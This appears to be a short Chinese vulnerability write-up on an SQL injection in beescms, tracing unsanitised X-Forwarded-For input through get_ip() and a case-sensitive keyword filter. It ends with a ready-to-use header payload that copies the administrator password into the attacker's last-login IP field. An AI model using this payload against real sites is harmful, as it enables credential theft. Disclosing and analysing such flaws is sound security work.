beescms X-Forwarded-For 注射

2012-07-10 13:01:06 11 907
beescms X-Forwarded-For 注射

member/member.php文件
//........................
        $ip=fl_html(fl_value(get_ip()));
        $sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}";
        $GLOBALS['mysql']->query($sql);
//........................
跟踪。{$_SESSION['m_ip']}来源。
elseif($action=='out'){
        $m_ip=fl_html(fl_value(get_ip()));
        $_SESSION['m_ip']=$m_ip;
跟踪。fl_html(fl_value(get_ip()))来源。
get_ip()函数
function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
        {
                return $_SERVER['HTTP_CLIENT_IP'];
        }
        elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
                return $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        else
        {
                return $_SERVER['REMOTE_ADDR'];
        }
}
get_ip()函数可伪造。
fl_value()函数
function fl_value($str){
        if(empty($str)){return;}
        return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\sss=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);//大小写可绕过。
}
fl_html()函数不影响我们。
function fl_html($str){
        return htmlspecialchars($str);
}
exp:注册用户。修改X-Forwarded-For:127.1',member_ip=(SELECT admin_password FROM  bees_admin)   whEre member_user='你的用户'#。登陆。上次登陆IP变为管理员密码

关于作者

评论11次

要评论?请先  登录  或  注册